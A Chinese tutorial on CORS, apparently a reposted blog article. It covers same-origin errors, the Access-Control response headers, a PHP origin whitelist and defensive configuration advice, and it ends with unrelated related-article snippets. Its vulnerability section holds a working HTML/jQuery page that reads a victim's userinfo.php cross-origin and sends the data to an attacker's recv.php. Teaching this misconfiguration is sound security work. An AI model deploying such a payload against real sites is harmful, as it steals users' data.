CORS 跨域访问, 实现跨域的原理, CORS漏洞利用

CORS跨域, 实现跨域的原理, CORS漏洞利用

一, CORS跨域的原理

1. 跨域实验

202服务器:

<?php
$person = array("name" => "John Doe","age" => 30,"occupation" => "Developer"
);$jsonString = json_encode($person);
echo $jsonString;
?>

200服务器

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><script src="./jquery-3.4.1.min.js"></script><title>Document</title><script>// 跨域请求202服务器$.get('http://192.168.112.202/cors.php', function(data){alert(data);});</script>
</head>
<body></body></html>

由200访问202, 发现没有弹窗, 观察浏览器中的请求头响应头:

请求头:
GET /cors.php HTTP/1.1
Host: 192.168.112.202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.112.200  # Origin源ip
Connection: keep-alive
Referer: http://192.168.112.200/
Pragma: no-cache
Cache-Control: no-cache响应头:
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

请求头有: Origin: http://192.168.112.200

观察控制台, 发现跨域错误:

Cross-Origin Request Blocked: 
The Same Origin Policy disallows reading the remote resource at http://192.168.112.202/cors.php. 
(Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.

重新编辑服务器的php文件, 在php中添加响应头:

<?php
$person = array("name" => "John Doe","age" => 30,"occupation" => "Developer"
);$jsonString = json_encode($person);// 添加响应头, 设置允许跨域的来源
header("Access-Control-Allow-Origin: *");// echo $jsonString;
echo $jsonString;
?>

再次请求发现可以顺利跨域并弹窗, 观察浏览器中的响应头:

HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: *    # 服务器返回的响应头
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

多了一条: Access-Control-Allow-Origin: *, 这说明允许所有的Origin来源都可以跨域访问.

2. 允许跨域的一些响应头

Access-Control-Allow-Origin: * // 允许所有的Origin源
Access-Control-Allow-Origin: http://192.168.112.200 // 只允许的ip
Access-Control-Allow-0rigin: http://192.168.10.118:8070 // 只允许的ip和端口
Access-Control-Allow-Methods: POST,OPTIONS,GET // 允许的请求方法
Access-Control-Max-Age: 3600 // 生命周期
Access-Control-Allow-Headers: accept,x-requested-with,Content-Type // 允许接收的请求头
Access-Control-Allow-Credentials: true // 是否允许发送cookie

后端php也可以使用数组设置白名单, 允许多个跨域的源:

$list = array('http://192.168.112.201', 'http://192.168.112.203');
// $_SERVER['HTTP_ORIGIN'] 获取请求头的Origin信息
if (in array($_SERVER['HTTP_ORIGIN'], $list)){header("Access-Control-Allow-Origin:" . $_SERVER['HTTP_ORIGIN']);echo $jsonString;
}
else{die("Cross-Site Disallowd");
}

二, CORS跨域漏洞

当服务器后端没有对跨域严格限制ip时, 可以通过脚本对目标网站做跨域访问, 例如:

在200攻击者服务器的html中对202目标服务器的 userinfo.php 做跨域访问.

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><script src="./jquery-3.4.1.min.js"></script><title>Document</title><script>$.get('http://192.168.112.202/userinfo.php', function(data){//alert(data);location.href = "http://192.168.112.200/recv.php?value=" + JSON.stringify(data) + "&referer=" + document.referrer;});</script>
</head>
<body></body>
</html>

当用户点击恶意链接访问200服务器上的html时, 先跨域请求 userinfo.php 获取用户数据 data, 再将 data 发送回200服务器的 recv.php 进行存储.

三, 防御CORS漏洞

CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。
下面介绍了一些针对CORS攻击的有效防御措施.

1.正确配置跨域请求

如果Web资源包合敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源

2只允许信任的网站.

看起来似平很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。
特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。

3.避免将null列入白名单.

避免使用 Access-Control-Allow-Origin: null
来自内部文档和沙盒请求的跨域资源调用可以指定nul来源。应针对私有和公共服务器的可信来源正确定义CORS头。

4.避免在内部网络中使用通配符.

避免在内部网络中使用通配符,当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。

5.CORS不能替代服务器端安全策略

CORS定义了浏览器的行为,绝不能营代服务器端对敏感教据的保护-攻击者可以直接从任何可信来源伪造请求。
因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/132492.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unit1_3:分治算法之排序问题

文章目录 一、归并排序二、快速排序思路伪代码流程图时间复杂度改进 三、堆排序结构插入提取最小值排序抽象 四、比较排序总结决策树模型 一、归并排序 归并排序子操作的思路和Unit1_2逆序计算一样 下面写一下伪代码 if left < right thencenter←L(left right)/2];Merge…

使用 Clipdrop 替换长安三万里电影海报中的天空

长安三万里是一部不久前上映的古装动画电影&#xff0c;讲述了李白和高适的故事。电影海报中的天空是一片晴朗的月空&#xff0c;与扬州城的景色相得益彰。 最近&#xff0c;我发现了一款名为 Clipdrop 的软件&#xff0c;可以用来替换图片中的天空。这款软件使用人工智能技术&…

MyBatis缓存详解

1. MyBatis缓存 MyBatis中的缓存是用来提高性能&#xff0c;减少数据库交互次数的机制。它分为一级缓存&#xff08;Local Cache&#xff09;和二级缓存&#xff08;Global Cache&#xff09;。 1.1 一级缓存&#xff08;Local Cache&#xff09; 作用范围&#xff1a;一级缓…

SpringBoot与ES7实现多条件搜索

SpringBoot与ES7实现多条件搜索 利用Kibana内置的航班数据&#xff0c;查询从威尼斯到中国按票价升序排列的前10条航班数据。 第一步&#xff0c;新建SpringBoot功能&#xff0c;pom.xml引入四个依赖。 <dependency><groupId>org.elasticsearch.client</groupI…

深入了解汽车级功率MOSFET NVMFS2D3P04M8LT1G P沟道数据表

汽车级功率MOSFET是一种专门用于汽车电子领域的功率MOSFET。它具有高电压、高电流、高温、高可靠性等特点&#xff0c;能够满足汽车电子领域对功率器件的严格要求。汽车级功率MOSFET广泛应用于汽车电机驱动、泵电机控制、车身控制等方面&#xff0c;能够提高汽车电子系统的效率…

Flume从入门到精通一站式学习笔记

文章目录 什么是FlumeFlume的特性Flume高级应用场景Flume的三大核心组件Source&#xff1a;数据源channelsink Flume安装部署Flume的使用案例&#xff1a;采集文件内容上传至HDFS案例&#xff1a;采集网站日志上传至HDFS 各种自定义组件例如&#xff1a;自定义source例如&#…

使用 uni-app 开发项目,日期和时间如何格式化?

功能需求描述 在开发项目时&#xff0c;往往需要对从后端查询到的时间进行格式化&#xff0c;查到的时间格式一般都是时间戳&#xff0c;一堆数字&#xff0c;这时候怎么转化成类似于 2023年8月15日 08:12:10 这样的格式&#xff1f; 在组件显示格式化后的日期 其实 uni-app…

【RtpSeqNumOnlyRefFinder】webrtc m98: ManageFrameInternal 的帧决策过程分析

Jitterbuffer(FrameBuffer)需要组帧以后GOP内的参考关系 JeffreyLau 大神分析 了组帧原理而参考关系(RtpFrameReferenceFinder)的生成伴随了帧决策 FrameDecisionFrameDecision 影响力 帧的缓存。调用 OnAssembledFrame 传递已经拿到的RtpFrameObject 那么,RtpFrameObject…

安全性在外卖系统开发中的重要性

外卖系统的开发需要强调安全性&#xff0c;因为系统中涉及用户的个人信息、支付信息以及交易数据。确保这些信息的安全对于用户信任和系统的成功至关重要。以下是在外卖系统开发中提升安全性的一些建议。 数据加密 用户信息和支付数据应该经过加密处理。对于敏感信息&#x…

计算机的主存储器与辅助存储器

文章目录 前言一、主存储器&#xff08;内存&#xff09;1.主存储器特征2.主存储器构成3.主存储器和CPU如何交互4.主存储器和操作系统位数的关系 二、辅助存储器&#xff08;磁盘&#xff09;1.辅助存储器构成2.辅助存储器特征3.磁盘的调度算法3.1先来先服务算法3.2最短寻道时间…

错误:ERROR Cannot read properties of null (reading ‘type‘)

ERROR Cannot read properties of null (reading ‘type’) TypeError: Cannot read properties of null (reading ‘type’) <template><el-card><el-row :gutter"20" class"header"><el-col :span"7"><el-input pl…

ROS自学笔记二十九:如何从SolidWorks导出URDF文件

SolidWorks是一款三维计算机辅助设计&#xff08;CAD&#xff09;软件&#xff0c;用于创建三维模型。要将SolidWorks模型导出为URDF&#xff08;Unified Robot Description Format&#xff09;文件&#xff0c;您可以按照以下步骤进行操作&#xff1a; 1. 安装SolidWorks URD…

大厂面试题-innoDB如何解决幻读

从三个方面来回答&#xff1a; 1、Mysql的事务隔离级别 Mysql有四种事务隔离级别&#xff0c;这四种隔离级别代表当存在多个事务并发冲突时&#xff0c;可能出现的脏读、不可重复读、幻读的问题。 其中InnoDB在RR的隔离级别下&#xff0c;解决了幻读的问题。 2、什么是幻读&…

Java前后端分离的在线考试系统源码

Java前后端分离的在线考试系统源码 技术栈 1&#xff0c;SpringBoot 2&#xff0c;Mybatis-plus 3&#xff0c;MySQL 5.7 4&#xff0c;Vue全家桶 5&#xff0c;ElementUI 6&#xff0c;Redis 7&#xff0c;Swagger 8&#xff0c;阿里云OSS 9&#xff0c;Log4j 考…

2023 electron最新最简版windows、mac打包、自动升级详解

这里我将讲解一下从0搭建一个electron最简版架子&#xff0c;以及如何实现打包自动化更新 之前我有写过两篇文章关于electron框架概述以及 常用api的使用&#xff0c;感兴趣的同学可以看看 Electron桌面应用开发 Electron桌面应用开发2 搭建electron 官方文档&#xff1a;ht…

Temu新规定强制要求卖家上传英代、欧代信息——站斧浏览器

根据官方消息&#xff1a;自10月15日起&#xff0c;Temu要求所有在欧洲站点销售的电子产品包装标识上都要加上英代和欧代信息&#xff0c;否则产品可能会被拒收。因此&#xff0c;欧洲站的卖家要抓紧时间完成欧代、英代合规&#xff0c;以免造成损失。 同时&#xff0c;近日Tem…

uboot启动linux kernel的流程

目录 前言流程图autoboot_commandrun_command_listdo_bootmdo_bootm_statesdo_bootm_linuxboot_prep_linuxboot_jump_linux 前言 本文在u-boot启动流程分析这篇文章的基础上&#xff0c;简要梳理uboot启动linux kernel的流程。 流程图 其中&#xff0c; autoboot_command位于…

苹果Mac电脑fcpx视频剪辑:Final Cut Pro中文最新 for mac

Final Cut Pro是苹果公司开发的一款专业视频剪辑软件&#xff0c;它为原生64位软件&#xff0c;基于Cocoa编写&#xff0c;支持多路多核心处理器&#xff0c;支持GPU加速&#xff0c;支持后台渲染。Final Cut Pro在Mac OS平台上运行&#xff0c;适用于进行后期制作。 Final Cu…

pngquant failed to build, make sure that libpng-dev is installed 问题

第一个参考方案失败 &#xff1a;npm install -g windows-build-tools4.0.0 安装失败&#xff0c;提示 依赖不在支持 第二个方案&#xff0c;降低node 版本 失败 第三种方案&#xff0c;成功 先执行&#xff0c;下面两行代码&#xff0c;再按照依赖 npm install imagemin-pn…

RACI model介绍

0 Preface/Foreword 一种专案管理和组织改造的模型。是一种责任分配模型。 1 介绍 RACI &#xff1a; Responsible&#xff08;谁执行&#xff09;: Those who do the work to complete the taskAccountable&#xff08;谁负责&#xff0c;谁批准&#xff09;: The one ul…